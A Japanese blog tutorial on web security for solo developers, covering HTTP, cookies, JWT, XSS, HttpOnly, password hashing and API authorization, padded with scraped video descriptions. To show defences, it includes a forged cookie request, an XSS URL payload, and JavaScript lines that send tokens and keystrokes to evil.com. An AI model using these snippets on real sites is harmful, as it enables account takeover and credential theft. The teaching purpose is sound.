個人開発でシステムを作る場合の注意点その1(HTTP、クッキー、パスワードの管理、XSS、HttpOnle属性、API権限)
この記事の概要
個人開発で必要な考慮事項をまとめてみました。長くなりそうなのでまずはその1ということでセキュリティ関係の記事をまとめていきます。
AIの進化により、個人開発で簡単にSaasサービスはモバイルアプリを作れるようになりました。しかしながらネットワークやWEBサーバー、データベースなどの仕組みを理解しないと大きなセキュリティ事故を起こしてしまうリスクがあります。しっかりとした技術理解を深めつつ、最高の個人開発サービスを作っていきましょう。
HTTPとは?
まずは現代の通信の大部分を支えているHTTPについて理解しましょう。
まずはこの動画から
Subscribe to our YouTube channel: https://bit.ly/3aZpbkz
Other things we made:
Weekly system design newsletter (10-min read): https://bit.ly/3tfAlYD
Digital version of System Design Interview books: https://bit.ly/3mlDSk9
Twitter: https://bit.ly/3HqEz5G
LinkedIn: https://bit.ly/39h22JK
ABOUT US:
Covering topics and trends in large-scale system design, from the authors of the best-selling System Design Interview series.

HTTPは現在バージョン3です。長い年月をかけて進化してきています。実際にはデータを取得するためにブラウザとサーバーとで何度もやりとりをしています。
Animation tools: Adobe Illustrator and After Effects.
Checkout our bestselling System Design Interview books:
Volume 1: https://amzn.to/3Ou7gkd
Volume 2: https://amzn.to/3HqGozy
The digital version of System Design Interview books: https://bit.ly/3mlDSk9
ABOUT US:
Covering topics and trends in large-scale system design, from the authors of the best-selling System Design Interview series.

実際に送受信されるデータのフォーマットはどうなっているのでしょうか?chromeの開発者ツールやFiddlerなどのツールを使うことでその中身を見ることができます。
Take one of my courses: https://jason-s-site-9a8a.thinkific.com/collections
Check out my Blog for more videos and posts. https://glitchitsystem.com/
Follow me on Twitter: https://twitter.com/glitchitsystems
Follow me on Facebook: https://www.facebook.com/Glitchitsytem/
#testing #qa #qualityassurance #softwaretesting #softwaretestingcourses

基本的には以下のようなデータになります。GETリクエストの場合はヘッダー情報のみ送られます。ヘッダーはテキスト形式のデータになります。
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: keep-alive
Host: www.higlabo.ai
POSTの場合は以下のようになります。ヘッダーの下に1行の空行があり、その下にBODY部分が続きます。
POST /api/book/edit HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/aConnection: keep-alive
Host: www.higlabo.ai
Content-Type: application/json
{
"BookId":"0384a061-eaa7-f489-0674-3a1ec32f1c48",
"Title":"HTTPについて"
}
HTTPリクエストはサーバーから見るとステートレスです。1個目のリクエストと2個目のリクエストが何かしらの関係があるというのはわかりません。しかしECサイトなどで商品を見るたびに毎回自分の情報(メールアドレスなど)を入力するとなると大変です。この不便さを解決するためにクッキーという仕組みがあります。あとで詳しく解説します。
セキュリティ対策でまず最初に覚えておいてほしいのがHTTPリクエストはツールを使っていくらでも改変可能ということです。

クッキーについて理解する
次はクッキーについて理解しましょう。これらの動画がわかりやすいです。
Cookies are mainly used for session management, user personalization, and tracking.
In this video we will try to demystify cookies and learn everything there is to them by example and with demos as well!
0:00 Intro
4:15 Section 1 - Creating Cookies
14:38 Section 2 - Cookie Properties
44:00 Section 3 - Cookie Types
1:02:00 Section 4 - Cookie Secuirty
Creating Cookies
1. Document.cookie (client side)
2. set-cookie header (server side)
Cookies Properties
Sent with each request
Cookies are automatically sent to the server with each request. so becareful not to stuff your app with cookies because it might slow down as network bandwidth become saturated with bloated requests..
Per Domain
They are stored per domain think of them as cookie buckets, for instance you visit google.com you will get a specific cookie for google.com, any cookies created while in google.com will go to the google.com bucket and so on. there are exceptions but this the general rule.
by default if you create cookie, it will only be accessable within the domain, it will only be sent to the same domain. You can create a cookie with the domain property which will also include subdomains. example, domain=husseinnasser.com , includes blog.husseinnasser.com, about.husseinnasser.com etc..
Example.com
www.example.com
Path specific cookies
cookies for a given path only. /r1 /r2 routes make only cookie for r1 and cookie for r2 client will only send cookies for that path.
if you know you are going to use the cookies in certain paths why waste precious bandwidth sending it with every path?
Cookies Types
1. Session cookie - no expires or max-age, once browser close they are “deleted” browsers are being smart and keep them though
2. permanent cookie - set max-age
3. httponly cookie cannot be accessed with document.cookie
4. secure cookie only acceptable with https
5. Third party cookie - page references another page, gets its own cookies..
6. Zombie Cookies - recreted even after users delete them, e-tags from the server
Cookie Security
1. Stealing cookies, inject XSS script,
2. cross site request forgery, more dangerous and easier, I don’t want your cookie I just want to make a request on your behave using your cookie and make myself an advtange as a result.. since you are signed in to your bank I will inject a script that makes a request ot YOUR bank to transfer myself money.. samesite
Stay Awesome!
Hussein

https://www.youtube.com/playlist?list=PLYQSCk-qyTW2ewJ05f_GKHtTIzjynDgjK
This series has two Github repositories associated with it. Click the below links to view the code you see in the video.
https://github.com/zachgoll/express-session-authentication-starter
https://github.com/zachgoll/express-jwt-authentication-starter
+++
👉 Subscribe to my email list - https://lists.zachgollwitzer.com
🎓 My Courses - https://courses.zachgollwitzer.com
📗 One of my favorite programming books - https://geni.us/code-complete
_______________________________________________________________
💻 My Gear
________________________________________________________________
👍🏼 Software Development Essentials:
Dual LG Monitors - https://geni.us/lg-monitor
Bose QC35s - https://geni.us/bose-qc35
Monitor Arm - https://geni.us/monitor-arm
Mechanical Keyboard - https://geni.us/mechanical-keyboard
Logitech Bluetooth Mouse - https://geni.us/logitech-mouse
🖱 Premium Software I Use
Adobe CC (Premiere Pro, Photoshop, etc.) - https://geni.us/adobe-cc
Tubebuddy - https://geni.us/youtube-tools
🎥 My Filming Gear and Tools
Camera - https://geni.us/canon-6d-markii
Main Lens - https://geni.us/canon-16-35-lens
Fluid Head Tripod - https://geni.us/neewer-tripod
Adjustable Lights (x2) - https://geni.us/raleno-lights
📗 My Favorite Programming Books
Code Complete - https://geni.us/code-complete
Code: The Hidden Language... - https://geni.us/code-book
Head First Design Patterns - https://geni.us/head-first-design
Head First OOP - https://geni.us/head-first-oop
The Elements of Computing Systems - https://geni.us/nand-2-tetris
The Phoenix Project - https://geni.us/phoenix-project
_______________________________________________________________
👉 Connect With Me:
_______________________________________________________________
Dev: https://dev.to/zachgoll
Twitter: https://twitter.com/zg_dev
LinkedIn: https://www.linkedin.com/in/zachgollwitzer/
Website: https://www.zachgollwitzer.com
Medium: https://medium.com/@zach.gollwitzer
Github: https://github.com/zachgoll
_______________________________________________________________
+++
Table of Contents
0:00 Intro
0:23 What is an HTTP Header?
4:30 The request header
7:15 The Set-Cookie Header
15:15 The expires property of a Cookie
#webcookies #http #webdevelopment

簡単に言うと
→WEBサーバーで値をセットしてクライアントに送る
→ブラウザはその値を保存してそのドメインへのリクエスト時にその値をヘッダーにつけて送信
という仕組みです。

RFCとして仕様が定義され、現在の全てのブラウザはクッキーをサーバーに送信するように実装されています。
さて先ほども説明したとおり、HTTPの仕様はステートレスな仕様です。そのため1回目のリクエストと2回目のリクエストが同じユーザーからのリクエストであるかどうかを判断できません。
クッキーを使うことでHTTPの限界を克服することができます。ユーザーとパスワードを受け取り、認証が成功したら「ユーザーID」をWEBサーバーからクッキーとして発効すればよいのです。次回のリクエストからヘッダーにクッキーの値が含まれるようになります。後はサーバー側でその値を取得して使うだけです。
「やったね!」
しかしこの方法では問題があります。ツールを使うとHTTPリクエストを改変できます。単純にクッキーにユーザーIDを発行する形だと、ツールを使ってユーザーIDを人事部のIDに書き換えてリクエストを送ると人事部だけが見ることのできるページを見たり、ボーナスの金額を書き換えたりすることも可能になります。
POST /api/bonus/update HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/aConnection: keep-alive
Host: www.higlabo.ai
Content-Type: application/json
Cookie: UserId=(人事部の社員のユーザーID)
{
"UserId":"自分のユーザーID",
"Amount":"5000兆円"
}
ボーナスを5000兆円に変更するリクエストはこんな感じですね(笑)
推測可能な値をクッキーにセットしてしまうと上記のような攻撃が可能になります。これを防ぐためにはどうすればよいでしょうか?
これらの不正なリクエストを防ぐためにサーバーでランダムな値を生成してクッキーとしてクライアントに送り、サーバー側でそのランダムな値から実際のユーザーIDを復元するというような方法が取られます。
クッキーでの認証方式
さてクッキーの値をユーザーIDにマッピングする方法はどのようなものがあるでしょうか?大きく二つ、セッションIDとJWTという方法があります。以下の動画がわかりやすいです。
Animation tools: Adobe Illustrator and After Effects.
Checkout our bestselling System Design Interview books:
Volume 1: https://amzn.to/3Ou7gkd
Volume 2: https://amzn.to/3HqGozy
The digital version of System Design Interview books: https://bit.ly/3mlDSk9
ABOUT US:
Covering topics and trends in large-scale system design, from the authors of the best-selling System Design Interview series.

2000年頃のインターネット黎明期ではセッション方法が取られていました。生成されたランダムな値とユーザーIDのマッピングをDBなどに保存しておき、リクエストのヘッダーから取得したランダムな値を元にDBからユーザーIDを取得する、という感じです。
しかしこの実装だと全てのHTTPリクエストでDBアクセスが発生し、DBサーバーへの負荷が高くなってしまいます。DBアクセスは負荷が高いため、代わりにRedisサーバーなどを用いてメモリから取得するようなアーキテクチャを取ることが多いです。いずれにしてもサーバーへの負荷が高いのがこのセッション方式の課題です。
現在はJWTという方式がとられることが多いです。サーバーで秘密鍵を使用して署名してランダムな値を生成します。クライアントから再度送られてきた値をサーバー側で検証し、不正でないかをチェックして問題なければその値を使用する形です。
この形ならばクライアントで勝手に値を書き換えても検証に失敗してサーバーで処理が実行されません。ボーナスの変更処理が実行される前にエラーが発生し、不正な処理の実行を防ぐことができます。
JWT形式の素晴らしいところは
・サーバーはマッピング用のストレージが不要
・サーバーの負荷が小さい
・JWTの改変は事実上不可能
・サーバーのスケールが容易
ということです。
XSSとは?
ユーザー入力をそのままHTMLで表示できるようにしてしまうとXSSの脆弱性になり、クッキーを盗まれます。クッキーを盗まれるとこれまで解説してきたように様々な攻撃が可能になります。
この動画ではXSSがあるとどのようにクッキーが盗まれるか解説しています。
https://www.linkedin.com/in/bytemonk/
📌 Timestamps
🔹 00:00 – Introduction: Why XSS is One of the Most Dangerous Web Attacks
🔹 00:45 – What is Cross-Site Scripting (XSS) and How Does it Work?
🔹 01:22 – Stored XSS – How Attackers Inject Permanent Malicious Code
🔹 04:00 – Reflected XSS – How Hackers Trick Users into Clicking Malicious Links
🔹 04:56 – DOM-Based XSS – The Invisible JavaScript-Based Attack
🔹 06:55 – How to Prevent XSS – Best Practices for Web Security
🔹 08:11 – Conclusion: Secure Your Web Apps & What’s Next!
https://www.youtube.com/playlist?list=PLJq-63ZRPdBt423WbyAD1YZO0Ljo1pzvY
https://www.youtube.com/playlist?list=PLJq-63ZRPdBssWTtcUlbngD_O5HaxXu6k
https://www.youtube.com/playlist?list=PLJq-63ZRPdBu38EjXRXzyPat3sYMHbIWU
https://www.youtube.com/playlist?list=PLJq-63ZRPdBuo5zjv9bPNLIks4tfd0Pui
https://www.youtube.com/playlist?list=PLJq-63ZRPdBsPWE24vdpmgeRFMRQyjvvj
https://www.youtube.com/playlist?list=PLJq-63ZRPdBslxJd-ZT12BNBDqGZgFo58
AWS Certification:
AWS Certified Cloud Practioner: https://youtu.be/wF1pldkQrOY
AWS Certified Solution Architect Associate: https://youtu.be/GzomXNLFgkk
AWS Certified Solution Architect Professional: https://youtu.be/KFZrBxSA9tI
#CORS #RESTAPI #WebSecurity

URLの検索文字列をそのままHTMLに表示するようにプログラムを組んだとします。
https://www.myshop.com/search?query=XSS
にアクセスするとページのタイトルが
<h1>Result for: XSS</h1>
となります。
ブラウザにhttps://www.myshop.com/search?query=<script>document.cookie</script>と入力するとクッキーの値を表示できてしまいます。
<h1>Result for: <script>document.cookie</script></h1>
具体的な攻撃の方法を解説した動画です。
🎭 WHO AM I ?
I'm Coffinxp, a hacker & Security Researcher and aspiring Cybersecurity Specialist and Bug Hunter. With a strong passion for technology and expertise in malware analysis, vulnerability assessment, and bug hunting, my goal is to safeguard digital assets and contribute to a more secure online community..
🐞 If you want to learn bug bounty hunting follow me on medium app: https://coffinxp.medium.com
☕ If you want to support me, you can buy me a coffee: https://www.buymeacoffee.com/coffinxp
🍿 WATCH NEXT METHODOLOGY
1️⃣How to Access 404 files of any server https://youtu.be/abk7wT1EMzw?si=euNO3yOlCpoJoGws
2️⃣JavaScript Recon Masterclass: Turn Bugs into Big Rewards https://youtu.be/FWPXWBh4EFw?si=3f9JZ_r1rNfRU4wI
3️⃣The Best XSS Methodology for Bug Bounty Hunters https://youtu.be/cRL9REGSKkM?si=EQ43OkKhE4x9N2FY
4️⃣Mastering Origin IP Discovery Behind WAF | 11+ method https://youtu.be/R3hmZpkvCmc?si=Y-g0_jGlmmbPlhPu
5️⃣How to approach a target in Bug bounty programs https://youtu.be/Ifo1vIdfyhg?si=ahlMMg4WmEROR53M
🧑💻MY OTHER SOCIALS:
🌟Github - github.com/coffinxp
🌟Twitter - @coffinxp7
🌟Website - lostsec.xyz
🌟Medium - coffinxp.medium.com
Thank you from the bottom of my heart for your incredible love and support! ❤️ You’re the reason this journey is so special! 🌟🙏
Disclaimer ⚠️
Hacking without permission is illegal.This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing & bug hunting.Our goal is to empower the community with knowledge to protect themselves against malicious activities.All content,including videos and tutorials, is created with prior permission from the relevant programs and owners.By engaging with our content,you acknowledge that you will use the information solely for educational and defensive purposes..
#cybersecurity #bugbounty #ethicalhacking #webapp #infosec

他人のサーバーでXSSの不具合を見つけたからといって実際にやるのは犯罪行為です。もしやる場合は自分の管理下のテストサーバーで行うようにしましょう。
💵 Support the Channel:
You can support the channel by becoming a member and get access exclusive content, behind the scenes, live hacking session and more!
☕️ Buy Me Coffee:
https://www.buymeacoffee.com/nahamsec
JOIN DISCORD:
https://discordapp.com/invite/ucCz7uh
🆓 🆓 🆓 $200 DigitalOcean Credit:
https://m.do.co/c/3236319b9d0b
💬 Social Media
- https://twitter.com/nahamsec
- https://instagram.com/nahamsec
- https://twitch.com/nahamsec
- https://facebook.com/nahamsec1
#bugbounty #ethicalhacking #infosec #cybersecurity #redteam #webapp

攻撃者はこのクッキーの値を自分のサイトに送信するようにjavascriptでプログラムを組むことが可能です。ECサイトでXSSを使って不正なスクリプトを実行、自分のサイトにクッキーが送信されてきた瞬間に攻撃者へメールが飛んですぐ気づけるようにします。そのクッキーを使ってすぐさまECサイトにアクセスし、物品を不正に購入するなどの行為が可能になります。
対策は「全てのユーザーの入力を変換する」ということです。ユーザーの入力は絶対にそのまま使わないようにしましょう。
Cookie HttpOnly属性
Cookie HttpOnly属性をセットすることで永続的なクッキーの流出を防ぐことができます。
var cookieValue = document.cookie;
//取得したクッキーを外部へ送信
というのができなくなります。この属性をセットすることで認証情報の外部持ち出しを防ぐことができ、永続的な乗っ取りは防ぐことができます。被害者がブラウザを閉じれば攻撃は受けません。
HttpOnly属性が防げるのはクッキーの永続的な窃盗のみです。永続的な窃盗に成功すると以下のようなことが可能です。
・攻撃者が自分のPCからAPIを実行可能(発覚しにくい)
・被害者がログアウトしても無効化されない(JWTの有効期限内)
・ブラックマーケットで販売可能
・永続的なアカウント乗っ取りの危険性有り
HttpOnly属性で永続的な窃盗を防ぐことによるメリットはログアウトすることでクッキーを無効化して正常な状態に回復可能なことです。しかし後述のようにAPIの実行は可能なので攻撃の被害を防ぐことはほぼできないと考えてよいでしょう。
Local Storageでの認証情報の管理
SPAなどではLocal Storageに認証情報を保存する場合があります。この設計はHttpOnly属性よりも脆弱です。具体的には攻撃者は認証情報を簡単に外部に送信することができます。
const token = localStorage.getItem("token");
fetch("https://evil.com/steal?token=" + token);
HttpOnly属性であれば永続的な窃盗を防ぐことができ、少しだけ安全と言えます。しかしながらLocal StorageでもHttpOnly属性でもXSSにはほぼ無力と言えるでしょう。
XSSに無力な対策
XSSをされるとほとんどの対策は無力です。HttpOnly属性も例外ではありません。HttpOnly属性ではXSSによる攻撃を防ぐことはできません。以下のように意図しないAPI実行をされてしまいます。例えば以下のように
fetch("/api/email/change", { method: "POST", body: ... })
という処理を不正に実行されてメールアドレスを変更され、アカウントの乗っ取りが可能です。2要素認証がないサイトなら乗っ取りが簡単に乗っ取りが成功してしまいます。
またCSRFの対策もあまり意味を成しません。
const token = document.querySelector("input[name=csrf]").value;
でCSRFのトークンを取得できてしまえば後は何でも可能です。
他にもキーロガーを設定してユーザーが入力したパスワードを外部へ送信することも可能です。
document.addEventListener("input", e => {
fetch("https://evil.com/key-input-log", ...)
});
XSSは致命的な脆弱性ということが分かると思います。HttpOnly属性やCSRFの対策をしていてもほとんど意味がありません。
クッキーの有効期限の管理
さて様々な方法でアクセス用のクッキーが盗まれることが理解できたかと思います。アクセストークンはできる限り盗まれないようにするのは当然なのですが、クッキーの有効期限を短くすることは効果があります。クッキーの有効期限が切れていれば攻撃は成功しません。
しかしクッキーの有効期限が短いとユーザーは認証処理を頻繁に行うことになりユーザー体験が低下します。
その二つの課題を解決する手法がこの動画で紹介されています。
Animation tools: Adobe Illustrator and After Effects.
Checkout our bestselling System Design Interview books:
Volume 1: https://amzn.to/3Ou7gkd
Volume 2: https://amzn.to/3HqGozy
The digital version of System Design Interview books: https://bit.ly/3mlDSk9
ABOUT US:
Covering topics and trends in large-scale system design, from the authors of the best-selling System Design Interview series.

具体的にはアクセストークンとリフレッシュトークンという二つのコンビネーションでアクセストークンの寿命を短く保つ方法があります。この方式にすることでユーザー体験を損なわずにクッキーが盗まれた場合の被害を受ける可能性を小さくすることができます。
パスワードの適切な管理
これまでHTTPの仕組み、ステートレスなHTTPが抱える弱点を克服するCookieの仕組みとその実装方法注意点について学んできました。ユーザーIDとパスワードが一致して認証が成功したときに安全なランダムな値を発行し、適切に管理することでユーザーのデータは安全に保たれます。
しかしながら認証をするためのパスワードが漏れると全てが台無しです。人事部のユーザーID(多くはメールアドレスであることが多い)とパスワードを知れればボーナスを変更できてしまうのです。
パスワードはDBに保存することになりますが、そのままの値を保存してしまうと問題が発生します。エンジニアはデータベースのテーブルをクエリしたり、VS Codeなどの開発用のツールでパスワードの値を見ることができます。
パスワードを適切にデータベースに保存するには以下の動画を参考にしましょう。
Checkout our bestselling System Design Interview books:
Volume 1: https://amzn.to/3Ou7gkd
Volume 2: https://amzn.to/3HqGozy
Other things we made:
Digital version of System Design Interview books: https://bit.ly/3mlDSk9
Twitter: https://bit.ly/3HqEz5G
LinkedIn: https://bit.ly/39h22JK
ABOUT US:
Covering topics and trends in large-scale system design, from the authors of the best-selling System Design Interview series.

単純に「暗号化すれば大丈夫」という考え方では危険です。復元可能な双方向関数だとプログラムを書けば元のパスワードの値を取得できます。ユーザーの入力値を1方向関数で変換し、データベースに保存されている値と比較する必要があります。
またSalt無しでデータベースに保存しているのも不十分です。事前計算されたデータを使って元の値を推測するレインボーアタックという方法があり、元の値を短い時間で復元することができます。この動画のようにSalt付きで保存することでそういった攻撃からパスワードを守ることが可能です。
重要ページでの再認証
アマゾンなどのサイトでは購入やパスワード変更、住所変更などの重要な動作の前にパスワードの再入力を求めるようになっています。これは仮にクッキーが盗まれた際に、攻撃者がユーザーAとして商品を購入しようとしてもパスワードを知らない限り商品を購入できなくする効果があります。
攻撃者はユーザーのクッキーを盗むだけでは攻撃が成立せず、パスワードの窃盗も必要で成果を上げるための障壁が高くなります。
API権限
管理ページへのアクセスや、管理者だけが変更可能なマスタデータの追加・更新・削除などのAPIのエンドポイントを適切に保護する必要があります。管理ページのURLがUI上に表示されていなくてもURLをブラウザに入力してページが表示されるのは問題です。サーバー側で認証ユーザーのユーザーIDを取得し、そのユーザーがページを表示する権限があるかどうかを検証するように実装しましょう。
APIのエンドポイントも同様です。/api/language-model/addというAIモデルの追加用のエンドポイントがあったとして、管理ページの表示と同様に追加する権限があるかどうかを検証するように実装する必要があります。